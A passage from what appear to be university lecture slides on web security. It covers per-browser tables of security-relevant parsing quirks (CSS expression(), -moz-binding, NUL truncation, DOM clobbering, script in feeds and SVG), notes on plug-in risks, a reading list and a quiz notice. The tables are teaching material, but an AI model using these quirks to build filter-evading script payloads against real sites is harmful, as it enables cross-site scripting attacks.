<td>none</td>
<td>none</td>
</tr>
</tbody>
</table>
CSS

- Mixes layout, code
- Tries to recover from bad parse... not always clear which expressions fail

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is JavaScript expression(...) supported?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is script-targeted url(...) supported?</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is script-executing -moz-binding supported?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Does &lt;/STYLE&gt; take precedence over comment block parsing?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Characters permitted as CSS field-value separators (excluding \t \r \n &quot;\)</td>
<td>\x0B \x0C \x0A \x0B</td>
<td>\x0B \x0C \x0A \x0B</td>
<td>\x0B \x0C \x0A \x0B</td>
<td>\x0B \x0C \x0A</td>
<td>\x0C \x0A</td>
<td>\x0C \x0A</td>
<td>\x0C \x0A</td>
<td>\x0C \x0A</td>
<td></td>
</tr>
</tbody>
</table>
## DOM

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is window the same object as window.window?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Is document.URL writable?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Can builtin DOM objects be clobbered?</td>
<td>overwrite</td>
<td>overwrite</td>
<td>overwrite</td>
<td>shadowing</td>
<td>shadowing</td>
<td>shadowing</td>
<td>overwrite</td>
<td>overwrite</td>
<td>shadowing</td>
</tr>
<tr>
<td>Does getElementsByName look up by ID= values as well?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Are .innerHTML assignments truncated at NUL?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>Are location.* assignments truncated at NUL?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
</tr>
</tbody>
</table>
Documents beyond HTML

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Supported bitmap formats (excluding JPG, GIF, PNG)</td>
<td>BMP WMF</td>
<td>BMP WMF</td>
<td>BMP WMF</td>
<td>BMP TGA</td>
<td>BMP TGA</td>
<td>BMP TIF</td>
<td>BMP*</td>
<td>BMP ICO</td>
<td>BMP ICO</td>
</tr>
<tr>
<td>Is generic XML document support present?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Is RSS feed support present?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is ATOM feed support present</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Does JavaScript execute within feeds?</td>
<td>(YES)</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>(YES)</td>
<td>(YES)</td>
</tr>
<tr>
<td>Are javascript: or data: URLs permitted in feeds?</td>
<td>n/a</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Are CSS specifications permitted in feeds?</td>
<td>n/a</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Is SVG image support present?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>May image/svg+xml document contain HTML xmlns payload?</td>
<td>(YES)</td>
<td>(YES)</td>
<td>(YES)</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>(YES)</td>
</tr>
</tbody>
</table>
Plug-ins

• Web media languages
  – Adobe Flash, Microsoft Silverlight

• Non-HTML documents
  – Acrobat Reader, Microsoft Office

• Specialized markup
  – VRML, MathML

• Multimedia players
  – QuickTime, Windows Media
Plug-ins (cont’d)

• Invoking some external machinery
  – Flaws/strengths unrelated to browser

• Often have own scripting mechanism(s)
  – Their own string/name/code problems

• Often have their own DOM access
  – Possibly with new vulnerabilities

• Some have their own HTTP & caching
  – Independent of browser settings
Every stage has multiple openings

- Interpreting URL
- HTTP message to server
- Authentication
- Authorization
- HTTP message to client
- Rendering/interpretation
Conclusion

Just because you're paranoid, that doesn't mean they're not out to get you!
Attack vectors using browser

https://code.google.com/p/google-caja/wiki/AttackVectors
Reading materials

Cryptography

- Handbook of Applied Cryptography by Menezes, van Oorschot, and Vanstone.
- Cryptographic libraries:
  - KeyCzar by Google.
  - GPGME by GnuPG.
  - OpenSSL.
  - NaCl: Networking and Cryptography library by Tanja Lange and Daniel J. Bernstein.

Control hijacking attacks

- Smashing The Stack For Fun And Profit, Aleph One.
- Bypassing non-executable-stack during exploitation using return-to-libc by c0ntex.
- Basic Integer Overflows, Bleexim.
- Intel Memory Protection Extensions.
- Intel Architecture Software Developer Manuals.

Web security

- Browser attack vectors.
- Google Cafe (capabilities for Javascript).
- Google Native Client allows web applications to safely run x86 code in browsers.
- Why Pishing Works by Rachna Dhamija, J. D. Tygar, and Marti Hearst.

OS security

- Secure Programming for Linux and Unix HOWTO, David Wheeler.
Class Monday 27 October

• We’ll start with 15-minute quiz in class
• Quiz covers today and previous two lectures:
  – API design
  – Security concepts
  – Web security